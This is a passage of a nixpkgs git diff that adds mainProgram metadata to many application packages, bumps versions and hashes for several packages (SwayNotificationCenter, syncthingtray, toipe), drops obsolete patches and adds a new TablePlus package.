b/pkgs/applications/misc/snixembed/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { license = licenses.isc; platforms = platforms.unix; maintainers = with maintainers; [ figsoda ]; + mainProgram = "snixembed"; }; } diff --git a/pkgs/applications/misc/snowsql/default.nix b/pkgs/applications/misc/snowsql/default.nix index 634c8367be694..c4af36299895a 100644 --- a/pkgs/applications/misc/snowsql/default.nix +++ b/pkgs/applications/misc/snowsql/default.nix @@ -44,5 +44,6 @@ stdenv.mkDerivation rec { license = licenses.unfree; maintainers = with maintainers; [ andehen ]; platforms = [ "x86_64-linux" ]; + mainProgram = "snowsql"; }; } diff --git a/pkgs/applications/misc/solaar/default.nix b/pkgs/applications/misc/solaar/default.nix index 93a6c069f6693..f3cd458510b35 100644 --- a/pkgs/applications/misc/solaar/default.nix +++ b/pkgs/applications/misc/solaar/default.nix @@ -14,13 +14,13 @@ # instead of adding this to `services.udev.packages` on NixOS, python3Packages.buildPythonApplication rec { pname = "solaar"; - version = "1.1.10"; + version = "1.1.11"; src = fetchFromGitHub { owner = "pwr-Solaar"; repo = "Solaar"; rev = "refs/tags/${version}"; - hash = "sha256-cs1kj/spZtMUL9aUtBHINAH7uyjMSn9jRDF/hRPzIbo="; + hash = "sha256-fVWfV7rEu/knysWUrPeokBBlSGnvNlpiptAd1M7ZVd8="; }; outputs = [ "out" "udev" ]; diff --git a/pkgs/applications/misc/somebar/default.nix b/pkgs/applications/misc/somebar/default.nix index 6c595bc8dd66f..4c2545fe9c963 100644 --- a/pkgs/applications/misc/somebar/default.nix +++ b/pkgs/applications/misc/somebar/default.nix @@ -40,5 +40,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ magnouvean ]; platforms = platforms.linux; + mainProgram = "somebar"; }; } diff --git a/pkgs/applications/misc/spacenav-cube-example/default.nix b/pkgs/applications/misc/spacenav-cube-example/default.nix index 0073c4a0f81e3..66c16e458b8f6 100644 --- a/pkgs/applications/misc/spacenav-cube-example/default.nix +++ b/pkgs/applications/misc/spacenav-cube-example/default.nix @@ -23,5 +23,6 @@ stdenv.mkDerivation { license = licenses.bsd3; platforms = platforms.unix; maintainers = with maintainers; [ sohalt ]; + mainProgram = "spacenav-cube-example"; }; } diff --git a/pkgs/applications/misc/speedread/default.nix b/pkgs/applications/misc/speedread/default.nix index 451382cda3739..234e6b136feb2 100644 --- a/pkgs/applications/misc/speedread/default.nix +++ b/pkgs/applications/misc/speedread/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = licenses.mit; platforms = platforms.unix; maintainers = [ maintainers.oxij ]; + mainProgram = "speedread"; }; } diff --git a/pkgs/applications/misc/spnavcfg/default.nix b/pkgs/applications/misc/spnavcfg/default.nix index 6424204c460aa..921947fc1b808 100644 --- a/pkgs/applications/misc/spnavcfg/default.nix +++ b/pkgs/applications/misc/spnavcfg/default.nix @@ -35,5 +35,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; platforms = platforms.unix; maintainers = with maintainers; [ gebner ]; + mainProgram = "spnavcfg"; }; } diff --git a/pkgs/applications/misc/spotify-tray/default.nix b/pkgs/applications/misc/spotify-tray/default.nix index 2ba37830749dc..372e468487fd6 100644 --- a/pkgs/applications/misc/spotify-tray/default.nix +++ b/pkgs/applications/misc/spotify-tray/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Only; platforms = platforms.linux; maintainers = with maintainers; [ Enzime ]; + mainProgram = "spotify-tray"; }; } diff --git a/pkgs/applications/misc/ssocr/default.nix b/pkgs/applications/misc/ssocr/default.nix index 3605d1a7f8644..4231adb65b410 100644 --- a/pkgs/applications/misc/ssocr/default.nix +++ b/pkgs/applications/misc/ssocr/default.nix @@ -21,5 +21,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/auerswal/ssocr"; license = licenses.gpl3; maintainers = [ maintainers.kroell ]; + mainProgram = "ssocr"; }; } diff --git a/pkgs/applications/misc/stag/default.nix b/pkgs/applications/misc/stag/default.nix index d8360dd7ccf4b..049cee5a830de 100644 --- a/pkgs/applications/misc/stag/default.nix +++ b/pkgs/applications/misc/stag/default.nix @@ -31,5 +31,6 @@ stdenv.mkDerivation (finalAttrs: { license = licenses.bsdOriginal; maintainers = with maintainers; [ matthiasbeyer ]; platforms = platforms.unix; + mainProgram = "stag"; }; }) diff --git a/pkgs/applications/misc/stepreduce/default.nix b/pkgs/applications/misc/stepreduce/default.nix index 11e1df4cced47..40e0986c5d01c 100644 --- a/pkgs/applications/misc/stepreduce/default.nix +++ b/pkgs/applications/misc/stepreduce/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { homepage = "https://gitlab.com/sethhillbrand/stepreduce"; license = licenses.gpl3Plus; maintainers = with maintainers; [ evils ]; + mainProgram = "stepreduce"; }; } diff --git a/pkgs/applications/misc/stork/default.nix b/pkgs/applications/misc/stork/default.nix index 6a97654818121..ab851363d381b 100644 --- a/pkgs/applications/misc/stork/default.nix +++ b/pkgs/applications/misc/stork/default.nix @@ -35,5 +35,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/jameslittle230/stork"; license = with licenses; [ asl20 ]; maintainers = with maintainers; [ chuahou ]; + mainProgram = "stork"; }; } diff --git a/pkgs/applications/misc/stretchly/default.nix b/pkgs/applications/misc/stretchly/default.nix index 67ffdee86c980..71288ca07c9dd 100644 --- a/pkgs/applications/misc/stretchly/default.nix +++ b/pkgs/applications/misc/stretchly/default.nix @@ -75,5 +75,6 @@ stdenv.mkDerivation (finalAttrs: { license = licenses.bsd2; maintainers = with maintainers; [ _1000101 ]; platforms = platforms.linux; + mainProgram = "stretchly"; }; }) diff --git a/pkgs/applications/misc/stw/default.nix b/pkgs/applications/misc/stw/default.nix index e7c11fd4b9a5c..ca46c163128af 100644 --- a/pkgs/applications/misc/stw/default.nix +++ b/pkgs/applications/misc/stw/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ somasis ]; platforms = platforms.unix; broken = stdenv.isDarwin; + mainProgram = "stw"; }; } diff --git a/pkgs/applications/misc/styx/default.nix b/pkgs/applications/misc/styx/default.nix index 6ef1bb9b95ee7..96278fd9c3222 100644 --- a/pkgs/applications/misc/styx/default.nix +++ b/pkgs/applications/misc/styx/default.nix @@ -67,5 +67,6 @@ stdenv.mkDerivation rec { downloadPage = "https://github.com/styx-static/styx/"; platforms = platforms.all; license = licenses.mit; + mainProgram = "styx"; }; } diff --git a/pkgs/applications/misc/surface-control/default.nix b/pkgs/applications/misc/surface-control/default.nix index e995f036cddc3..77f3954ed0597 100644 --- a/pkgs/applications/misc/surface-control/default.nix +++ b/pkgs/applications/misc/surface-control/default.nix @@ -39,5 +39,6 @@ rustPlatform.buildRustPackage rec { license = licenses.mit; maintainers = with maintainers; [ ]; platforms = platforms.linux; + mainProgram = "surface"; }; } diff --git a/pkgs/applications/misc/swaynag-battery/default.nix b/pkgs/applications/misc/swaynag-battery/default.nix index b58758d8a4174..8dc99ca012e92 100644 --- a/pkgs/applications/misc/swaynag-battery/default.nix +++ b/pkgs/applications/misc/swaynag-battery/default.nix @@ -18,5 +18,6 @@ buildGoModule rec { description = "Shows a message when your battery is discharging "; maintainers = with maintainers; [ ]; license = licenses.mit; + mainProgram = "swaynag-battery"; }; } diff --git a/pkgs/applications/misc/swaynotificationcenter/001-backport-pr296.patch b/pkgs/applications/misc/swaynotificationcenter/001-backport-pr296.patch deleted file mode 100644 index 61fcda5593fd0..0000000000000 --- a/pkgs/applications/misc/swaynotificationcenter/001-backport-pr296.patch +++ /dev/null @@ -1,50 +0,0 @@ -diff --git a/src/functions.vala b/src/functions.vala -index cf7fefc..9b4d82a 100644 ---- a/src/functions.vala -+++ b/src/functions.vala -@@ -102,10 +102,7 @@ namespace SwayNotificationCenter { - - public static string get_style_path (owned string ? custom_path, - bool only_system = false) { -- string[] paths = { -- // Fallback location. Specified in postinstall.py -- "/usr/local/etc/xdg/swaync/style.css" -- }; -+ string[] paths = {}; - if (custom_path != null && custom_path.length > 0) { - // Replaces the home directory relative path with a absolute path - if (custom_path.get (0) == '~') { -@@ -123,7 +120,9 @@ namespace SwayNotificationCenter { - paths += Path.build_path (Path.DIR_SEPARATOR.to_string (), - path, "swaync/style.css"); - } -- -+ // Fallback location. Specified in postinstall.py. Mostly for Debian -+ paths += "/usr/local/etc/xdg/swaync/style.css"; -+ - string path = ""; - foreach (string try_path in paths) { - if (File.new_for_path (try_path).query_exists ()) { -@@ -140,10 +139,7 @@ namespace SwayNotificationCenter { - } - - public static string get_config_path (owned string ? custom_path) { -- string[] paths = { -- // Fallback location. Specified in postinstall.py -- "/usr/local/etc/xdg/swaync/config.json" -- }; -+ string[] paths = {}; - if (custom_path != null && custom_path.length > 0) { - // Replaces the home directory relative path with a absolute path - if (custom_path.get (0) == '~') { -@@ -158,7 +154,9 @@ namespace SwayNotificationCenter { - paths += Path.build_path (Path.DIR_SEPARATOR.to_string (), - path, "swaync/config.json"); - } -- -+ // Fallback location. Specified in postinstall.py. Mostly for Debian -+ paths += "/usr/local/etc/xdg/swaync/config.json"; -+ - string path = ""; - foreach (string try_path in paths) { - if (File.new_for_path (try_path).query_exists ()) { diff --git a/pkgs/applications/misc/swaynotificationcenter/default.nix b/pkgs/applications/misc/swaynotificationcenter/default.nix index 065ed941c386b..2a5dd6da19355 100644 --- a/pkgs/applications/misc/swaynotificationcenter/default.nix +++ b/pkgs/applications/misc/swaynotificationcenter/default.nix @@ -24,22 +24,23 @@ , scdoc , vala , xvfb-run +, sassc +, pantheon }: stdenv.mkDerivation (finalAttrs: rec { pname = "SwayNotificationCenter"; - version = "0.9.0"; + version = "0.10.0"; src = fetchFromGitHub { owner = "ErikReider"; repo = pname; rev = "v${version}"; - hash = "sha256-mwwSTs4d9jUXUy33nSYJCRFlpH6naCmbRUSpfVacMBE="; + hash = "sha256-7O+DX4uuncUqx5zEKQprZE6tctteT6NU01V2EBHiFqA="; }; - patches = [ - ./001-backport-pr296.patch - ]; + # build pkg-config is required to locate the native `scdoc` input + depsBuildBuild = [ pkg-config ]; nativeBuildInputs = [ bash-completion @@ -51,6 +52,7 @@ stdenv.mkDerivation (finalAttrs: rec { ninja pkg-config python3 + sassc scdoc vala wrapGAppsHook @@ -68,14 +70,14 @@ stdenv.mkDerivation (finalAttrs: rec { libhandy libpulseaudio librsvg + pantheon.granite # systemd # ends with broken permission ]; postPatch = '' chmod +x build-aux/meson/postinstall.py patchShebangs build-aux/meson/postinstall.py - - substituteInPlace src/functions.vala --replace /usr/local/etc $out/etc + substituteInPlace src/functions.vala --replace "/usr/local/etc/xdg/swaync" "$out/etc/xdg/swaync" ''; passthru.tests.version = testers.testVersion { diff --git a/pkgs/applications/misc/synapse/default.nix b/pkgs/applications/misc/synapse/default.nix index da822f5347bf4..1491a4e812911 100644 --- a/pkgs/applications/misc/synapse/default.nix +++ b/pkgs/applications/misc/synapse/default.nix @@ -33,5 +33,6 @@ in stdenv.mkDerivation rec { license = licenses.gpl3; maintainers = with maintainers; [ mahe ]; platforms = with platforms; all; + mainProgram = "synapse"; }; } diff --git a/pkgs/applications/misc/syncthing-tray/default.nix b/pkgs/applications/misc/syncthing-tray/default.nix index db734bff58787..e9db92df121c4 100644 --- a/pkgs/applications/misc/syncthing-tray/default.nix +++ b/pkgs/applications/misc/syncthing-tray/default.nix @@ -23,5 +23,6 @@ buildGoPackage rec { homepage = "https://github.com/alex2108/syncthing-tray"; license = licenses.mit; maintainers = with maintainers; [ nickhu ]; + mainProgram = "syncthing-tray"; }; } diff --git a/pkgs/applications/misc/syncthingtray/default.nix b/pkgs/applications/misc/syncthingtray/default.nix index 35632008f7165..609bd81e40e40 100644 --- a/pkgs/applications/misc/syncthingtray/default.nix +++ b/pkgs/applications/misc/syncthingtray/default.nix @@ -1,9 +1,8 @@ -{ mkDerivation -, lib +{ lib , stdenv , fetchFromGitHub -, substituteAll , qtbase +, qtsvg , qtwebengine , qtdeclarative , extra-cmake-modules @@ -34,18 +33,19 @@ https://github.com/NixOS/nixpkgs/issues/199596#issuecomment-1310136382 */ }: stdenv.mkDerivation (finalAttrs: { - version = "1.4.13"; + version = "1.5.0"; pname = "syncthingtray"; src = fetchFromGitHub { owner = "Martchus"; repo = "syncthingtray"; rev = "v${finalAttrs.version}"; - sha256 = "sha256-RysX2IAzhGz/L65nDEL2UQLXIjdkQRmMs7bqNQIR+eA="; + hash = "sha256-O8FLjse2gY8KNWGXpUeZ83cNk0ZuRAZJJ3Am33/ABVw="; }; buildInputs = [ qtbase + qtsvg cpp-utilities qtutilities boost @@ -74,15 +74,22 @@ stdenv.mkDerivation (finalAttrs: { doCheck = !stdenv.isDarwin; preCheck = '' export QT_QPA_PLATFORM=offscreen - export QT_PLUGIN_PATH="${qtbase.bin}/${qtbase.qtPluginPrefix}" + export QT_PLUGIN_PATH="${lib.getBin qtbase}/${qtbase.qtPluginPrefix}" + ''; + postInstall = lib.optionalString stdenv.isDarwin '' + # put the app bundle into the proper place /Applications instead of /bin + mkdir -p $out/Applications + mv $out/bin/syncthingtray.app $out/Applications + # Make binary available in PATH like on other platforms + ln -s $out/Applications/syncthingtray.app/Contents/MacOS/syncthingtray $out/bin/syncthingtray ''; - # don't test --help on Darwin because output is .app - doInstallCheck = !stdenv.isDarwin; installCheckPhase = '' $out/bin/syncthingtray --help | grep ${finalAttrs.version} ''; cmakeFlags = [ + "-DQT_PACKAGE_PREFIX=Qt${lib.versions.major qtbase.version}" + "-DKF_PACKAGE_PREFIX=KF${lib.versions.major qtbase.version}" "-DBUILD_TESTING=ON" # See https://github.com/Martchus/syncthingtray/issues/208 "-DEXCLUDE_TESTS_FROM_ALL=OFF" diff --git a/pkgs/applications/misc/synergy/darwin-no-UserNotifications-includes.patch b/pkgs/applications/misc/synergy/darwin-no-UserNotifications-includes.patch deleted file mode 100644 index 9b37a68b90175..0000000000000 --- a/pkgs/applications/misc/synergy/darwin-no-UserNotifications-includes.patch +++ /dev/null @@ -1,15 +0,0 @@ -diff --git a/src/gui/src/OSXHelpers.mm b/src/gui/src/OSXHelpers.mm -index 0c98afc1..38c190a6 100644 ---- a/src/gui/src/OSXHelpers.mm -+++ b/src/gui/src/OSXHelpers.mm -@@ -20,10 +20,6 @@ - #import <Foundation/Foundation.h> - #import <CoreData/CoreData.h> - #import <Cocoa/Cocoa.h> --#import <UserNotifications/UNNotification.h> --#import <UserNotifications/UNUserNotificationCenter.h> --#import <UserNotifications/UNNotificationContent.h> --#import <UserNotifications/UNNotificationTrigger.h> - - #import <QtGlobal> - diff --git a/pkgs/applications/misc/synergy/default.nix b/pkgs/applications/misc/synergy/default.nix index 2fe734fde00e7..ef361fc6f14e1 100644 --- a/pkgs/applications/misc/synergy/default.nix +++ b/pkgs/applications/misc/synergy/default.nix @@ -27,12 +27,12 @@ , avahi-compat # MacOS / darwin -, darwin , ApplicationServices , Carbon , Cocoa , CoreServices , ScreenSaver +, UserNotifications }: stdenv.mkDerivation rec { @@ -50,10 +50,6 @@ stdenv.mkDerivation rec { patches = [ # Without this OpenSSL from nixpkgs is not detected ./darwin-non-static-openssl.patch - ] ++ lib.optionals (stdenv.isDarwin && !(darwin.apple_sdk.frameworks ? UserNotifications)) [ - # We cannot include UserNotifications because of a build failure in the Apple SDK. - # The functions used from it are already implicitly included anyways. - ./darwin-no-UserNotifications-includes.patch ]; postPatch = '' @@ -79,8 +75,7 @@ stdenv.mkDerivation rec { Cocoa CoreServices ScreenSaver - ] ++ lib.optionals (stdenv.isDarwin && darwin.apple_sdk.frameworks ? UserNotifications) [ - darwin.apple_sdk.frameworks.UserNotifications + UserNotifications ] ++ lib.optionals stdenv.isLinux [ util-linux libselinux @@ -110,6 +105,10 @@ stdenv.mkDerivation rec { checkPhase = '' runHook preCheck + '' + lib.optionalString stdenv.isDarwin '' + # filter out tests failing with sandboxing on darwin + export GTEST_FILTER=-ServerConfigTests.serverconfig_will_deem_equal_configs_with_same_cell_names:NetworkAddress.hostname_valid_parsing + '' + '' bin/unittests runHook postCheck ''; @@ -126,7 +125,7 @@ stdenv.mkDerivation rec { cp ../res/synergy.svg $out/share/icons/hicolor/scalable/apps/ substitute ../res/synergy.desktop $out/share/applications/synergy.desktop \ --replace "/usr/bin" "$out/bin" - '' + lib.optionalString stdenv.isDarwin '' + '' + lib.optionalString (stdenv.isDarwin && withGUI) '' mkdir -p $out/Applications cp -r bundle/Synergy.app $out/Applications ln -s $out/bin $out/Applications/Synergy.app/Contents/MacOS diff --git a/pkgs/applications/misc/systembus-notify/default.nix b/pkgs/applications/misc/systembus-notify/default.nix index 770cd8584010c..f05c8a0aa0746 100644 --- a/pkgs/applications/misc/systembus-notify/default.nix +++ b/pkgs/applications/misc/systembus-notify/default.nix @@ -60,5 +60,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ peterhoeg ]; platforms = platforms.linux; + mainProgram = "systembus-notify"; }; } diff --git a/pkgs/applications/misc/tableplus/default.nix b/pkgs/applications/misc/tableplus/default.nix new file mode 100644 index 0000000000000..c53f89582b45a --- /dev/null +++ b/pkgs/applications/misc/tableplus/default.nix @@ -0,0 +1,37 @@ +{ lib +, fetchurl +, undmg +, stdenv +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "tableplus"; + version = "504"; + src = fetchurl { + url = "https://download.tableplus.com/macos/${finalAttrs.version}/TablePlus.dmg"; + hash = "sha256-YFUquv71QFEnlmh93+HsFN6XtgoUx6CMOVqfdWAIWfo="; + }; + + sourceRoot = "TablePlus.app"; + + nativeBuildInputs = [ undmg ]; + + installPhase = '' + runHook preInstall + + mkdir -p "$out/Applications/TablePlus.app" + cp -R . "$out/Applications/TablePlus.app" + mkdir "$out/bin" + ln -s "$out/Applications/TablePlus.app/Contents/MacOS/TablePlus" "$out/bin/${finalAttrs.pname}" + + runHook postInstall + ''; + + meta = with lib; { + description = "Database management made easy"; + homepage = "https://tableplus.com"; + license = licenses.unfree; + maintainers = with maintainers; [ yamashitax ]; + platforms = platforms.darwin; + }; +}) diff --git a/pkgs/applications/misc/tabula-java/default.nix b/pkgs/applications/misc/tabula-java/default.nix index f8d3cc3c54be5..ce402396c97da 100644 --- a/pkgs/applications/misc/tabula-java/default.nix +++ b/pkgs/applications/misc/tabula-java/default.nix @@ -45,5 +45,6 @@ maven.buildMavenPackage rec { license = licenses.mit; maintainers = [ maintainers.jakewaksbaum ]; platforms = platforms.all; + mainProgram = "tabula-java"; }; } diff --git a/pkgs/applications/misc/tagtime/default.nix b/pkgs/applications/misc/tagtime/default.nix index d21621058bca0..9ec36c26defcf 100644 --- a/pkgs/applications/misc/tagtime/default.nix +++ b/pkgs/applications/misc/tagtime/default.nix @@ -75,5 +75,6 @@ stdenv.mkDerivation { homepage = "http://messymatters.com/tagtime/"; license = lib.licenses.bsd3; maintainers = [ lib.maintainers.Profpatsch ]; + mainProgram = "tagtimed"; }; } diff --git a/pkgs/applications/misc/tailscale-systray/default.nix b/pkgs/applications/misc/tailscale-systray/default.nix index 85e927f018f13..842b66ee7cc75 100644 --- a/pkgs/applications/misc/tailscale-systray/default.nix +++ b/pkgs/applications/misc/tailscale-systray/default.nix @@ -28,5 +28,6 @@ buildGoModule rec { homepage = "https://github.com/mattn/tailscale-systray"; license = licenses.mit; maintainers = with maintainers; [ qbit ]; + mainProgram = "tailscale-systray"; }; } diff --git a/pkgs/applications/misc/taizen/default.nix b/pkgs/applications/misc/taizen/default.nix index d39ad206c2dc5..903de3c05c1d4 100644 --- a/pkgs/applications/misc/taizen/default.nix +++ b/pkgs/applications/misc/taizen/default.nix @@ -35,5 +35,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/nerdypepper/taizen"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "taizen"; }; } diff --git a/pkgs/applications/misc/tandoor-recipes/default.nix b/pkgs/applications/misc/tandoor-recipes/default.nix index 98c6f8b530f99..dc36156ff4a1b 100644 --- a/pkgs/applications/misc/tandoor-recipes/default.nix +++ b/pkgs/applications/misc/tandoor-recipes/default.nix @@ -158,5 +158,6 @@ python.pkgs.pythonPackages.buildPythonPackage rec { Application for managing recipes, planning meals, building shopping lists and much much more! ''; + mainProgram = "tandoor-recipes"; }; } diff --git a/pkgs/applications/misc/tango/default.nix b/pkgs/applications/misc/tango/default.nix index d6278c7f79cc9..bd2dca9d790b4 100644 --- a/pkgs/applications/misc/tango/default.nix +++ b/pkgs/applications/misc/tango/default.nix @@ -21,5 +21,6 @@ buildGoModule rec { homepage = "https://github.com/masakichi/tango"; license = licenses.mit; maintainers = with maintainers; [ donovanglover ]; + mainProgram = "tango"; }; } diff --git a/pkgs/applications/misc/taskopen/default.nix b/pkgs/applications/misc/taskopen/default.nix index 88050d2f449d9..54361a0fbbd58 100644 --- a/pkgs/applications/misc/taskopen/default.nix +++ b/pkgs/applications/misc/taskopen/default.nix @@ -35,7 +35,7 @@ stdenv.mkDerivation rec { description = "Script for taking notes and open urls with taskwarrior"; homepage = "https://github.com/ValiValpas/taskopen"; platforms = platforms.linux; - license = licenses.free; + license = licenses.gpl2Plus; maintainers = [ maintainers.winpat ]; }; } diff --git a/pkgs/applications/misc/tasksh/default.nix b/pkgs/applications/misc/tasksh/default.nix index 134d1373ad4be..0e169bc998d61 100644 --- a/pkgs/applications/misc/tasksh/default.nix +++ b/pkgs/applications/misc/tasksh/default.nix @@ -18,5 +18,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ matthiasbeyer ]; platforms = platforms.unix; + mainProgram = "tasksh"; }; } diff --git a/pkgs/applications/misc/taskwarrior-tui/default.nix b/pkgs/applications/misc/taskwarrior-tui/default.nix index 153ea4d6d55ca..44b6ccf760956 100644 --- a/pkgs/applications/misc/taskwarrior-tui/default.nix +++ b/pkgs/applications/misc/taskwarrior-tui/default.nix @@ -32,5 +32,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/kdheepak/taskwarrior-tui"; license = with licenses; [ mit ]; maintainers = with maintainers; [ matthiasbeyer ]; + mainProgram = "taskwarrior-tui"; }; } diff --git a/pkgs/applications/misc/terminal-colors/default.nix b/pkgs/applications/misc/terminal-colors/default.nix index 96df3d1783285..fc196be625e5b 100644 --- a/pkgs/applications/misc/terminal-colors/default.nix +++ b/pkgs/applications/misc/terminal-colors/default.nix @@ -51,5 +51,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/eikenb/terminal-colors"; license = licenses.gpl3Plus; maintainers = with maintainers; [ kaction ]; + mainProgram = "terminal-colors"; }; } diff --git a/pkgs/applications/misc/terminal-parrot/default.nix b/pkgs/applications/misc/terminal-parrot/default.nix index f0b4d20b1a76e..802588e8ef64a 100644 --- a/pkgs/applications/misc/terminal-parrot/default.nix +++ b/pkgs/applications/misc/terminal-parrot/default.nix @@ -20,5 +20,6 @@ buildGoModule rec { homepage = "https://github.com/jmhobbs/terminal-parrot"; license = licenses.mit; maintainers = [ maintainers.heel ]; + mainProgram = "terminal-parrot"; }; } diff --git a/pkgs/applications/misc/terminal-stocks/default.nix b/pkgs/applications/misc/terminal-stocks/default.nix index 285eb9b744d47..9d1ee035d81a3 100644 --- a/pkgs/applications/misc/terminal-stocks/default.nix +++ b/pkgs/applications/misc/terminal-stocks/default.nix @@ -21,5 +21,6 @@ buildNpmPackage rec { homepage = "https://github.com/shweshi/terminal-stocks"; maintainers = with maintainers; [ mislavzanic ]; license = licenses.mit; + mainProgram = "terminal-stocks"; }; } diff --git a/pkgs/applications/misc/thedesk/default.nix b/pkgs/applications/misc/thedesk/default.nix index faf32c96a19e3..3fb11f883a2a6 100644 --- a/pkgs/applications/misc/thedesk/default.nix +++ b/pkgs/applications/misc/thedesk/default.nix @@ -50,5 +50,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Only; maintainers = with maintainers; [ wolfangaukang ]; platforms = [ "x86_64-linux" ]; + mainProgram = "thedesk"; }; } diff --git a/pkgs/applications/misc/thokr/default.nix b/pkgs/applications/misc/thokr/default.nix index 74c5b2ccc712f..cf82a8d6aeb81 100644 --- a/pkgs/applications/misc/thokr/default.nix +++ b/pkgs/applications/misc/thokr/default.nix @@ -18,5 +18,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/thatvegandev/thokr"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "thokr"; }; } diff --git a/pkgs/applications/misc/ticker/default.nix b/pkgs/applications/misc/ticker/default.nix index bb3322a278814..fdbc9c2a5cd48 100644 --- a/pkgs/applications/misc/ticker/default.nix +++ b/pkgs/applications/misc/ticker/default.nix @@ -31,5 +31,6 @@ buildGoModule rec { changelog = "https://github.com/achannarasappa/ticker/releases/tag/v${version}"; license = licenses.gpl3Plus; maintainers = with maintainers; [ siraben sarcasticadmin ]; + mainProgram = "ticker"; }; } diff --git a/pkgs/applications/misc/tickrs/default.nix b/pkgs/applications/misc/tickrs/default.nix index 35d56e8be7dd2..a22f9da07359e 100644 --- a/pkgs/applications/misc/tickrs/default.nix +++ b/pkgs/applications/misc/tickrs/default.nix @@ -42,5 +42,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/tarkah/tickrs/blob/v${version}/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ mredaelli ]; + mainProgram = "tickrs"; }; } diff --git a/pkgs/applications/misc/timew-sync-server/default.nix b/pkgs/applications/misc/timew-sync-server/default.nix index 8f2420280c9cc..fefc25a487927 100644 --- a/pkgs/applications/misc/timew-sync-server/default.nix +++ b/pkgs/applications/misc/timew-sync-server/default.nix @@ -19,5 +19,6 @@ buildGoModule rec { license = licenses.mit; maintainers = [ maintainers.joachimschmidt557 ]; platforms = platforms.linux; + mainProgram = "timew-sync-server"; }; } diff --git a/pkgs/applications/misc/tiramisu/default.nix b/pkgs/applications/misc/tiramisu/default.nix index 3e8f101f871e5..8624bded6641f 100644 --- a/pkgs/applications/misc/tiramisu/default.nix +++ b/pkgs/applications/misc/tiramisu/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = licenses.mit; platforms = platforms.linux; maintainers = with maintainers; [ wishfort36 moni ]; + mainProgram = "tiramisu"; }; } diff --git a/pkgs/applications/misc/tmatrix/default.nix b/pkgs/applications/misc/tmatrix/default.nix index 780a80b5d2c6d..50af143808889 100644 --- a/pkgs/applications/misc/tmatrix/default.nix +++ b/pkgs/applications/misc/tmatrix/default.nix @@ -36,5 +36,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; platforms = platforms.all; maintainers = with maintainers; [ infinisil Br1ght0ne ]; + mainProgram = "tmatrix"; }; } diff --git a/pkgs/applications/misc/tnef/default.nix b/pkgs/applications/misc/tnef/default.nix index 65e07915c760d..4c4b67adf96d4 100644 --- a/pkgs/applications/misc/tnef/default.nix +++ b/pkgs/applications/misc/tnef/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = with maintainers; [ peterhoeg ]; platforms = platforms.all; + mainProgram = "tnef"; }; } diff --git a/pkgs/applications/misc/todoist-electron/default.nix b/pkgs/applications/misc/todoist-electron/default.nix index d9306ce7d187d..351df8c558ad2 100644 --- a/pkgs/applications/misc/todoist-electron/default.nix +++ b/pkgs/applications/misc/todoist-electron/default.nix @@ -41,5 +41,6 @@ in appimageTools.wrapAppImage { platforms = [ "x86_64-linux" ]; license = licenses.unfree; maintainers = with maintainers; [ kylesferrazza pokon548 ]; + mainProgram = "todoist-electron"; }; } diff --git a/pkgs/applications/misc/todoist/default.nix b/pkgs/applications/misc/todoist/default.nix index fc600ab7710cf..0145644de14f3 100644 --- a/pkgs/applications/misc/todoist/default.nix +++ b/pkgs/applications/misc/todoist/default.nix @@ -19,5 +19,6 @@ buildGoModule rec { homepage = "https://github.com/sachaos/todoist"; description = "Todoist CLI Client"; license = lib.licenses.mit; + mainProgram = "todoist"; }; } diff --git a/pkgs/applications/misc/toipe/default.nix b/pkgs/applications/misc/toipe/default.nix index 1b41f9ae53e92..31a468b3bc495 100644 --- a/pkgs/applications/misc/toipe/default.nix +++ b/pkgs/applications/misc/toipe/default.nix @@ -2,14 +2,14 @@ rustPlatform.buildRustPackage rec { pname = "toipe"; - version = "0.4.1"; + version = "0.5.0"; src = fetchCrate { inherit pname version; - sha256 = "sha256-aunejitHVNIB/zIDgX3mlA1FzG7wIxlDCFdUvtuzQnc="; + sha256 = "sha256-L4JemOxpynGYsA8FgHnMv/hrogLSRaaiIzDjxzZDqjM="; }; - cargoSha256 = "sha256-Nabc2lPpsUCcWEJzL6U84UoIJ5PCtYKVyLRhjhiqhpE="; + cargoHash = "sha256-ShJ7dbd3oNo3qZJ5+ut+NfLF9j8kPPZy9yC2zl/s56k="; meta = with lib; { description = "Trusty terminal typing tester"; diff --git a/pkgs/applications/misc/transifex-cli/default.nix b/pkgs/applications/misc/transifex-cli/default.nix index 59917a4604188..f03ea6eaed367 100644 --- a/pkgs/applications/misc/transifex-cli/default.nix +++ b/pkgs/applications/misc/transifex-cli/default.nix @@ -32,5 +32,6 @@ buildGoModule rec { homepage = "https://github.com/transifex/transifex-cli"; license = licenses.asl20; maintainers = with maintainers; [ thornycrackers ]; + mainProgram = "tx"; }; } diff --git a/pkgs/applications/misc/ttdl/default.nix b/pkgs/applications/misc/ttdl/default.nix index 795253aeda2ba..d4a74e6bdbc1c 100644 --- a/pkgs/applications/misc/ttdl/default.nix +++ b/pkgs/applications/misc/ttdl/default.nix @@ -5,16 +5,16 @@ rustPlatform.buildRustPackage rec { pname = "ttdl"; - version = "4.1.0"; + version = "4.2.1"; src = fetchFromGitHub { owner = "VladimirMarkelov"; repo = "ttdl"; 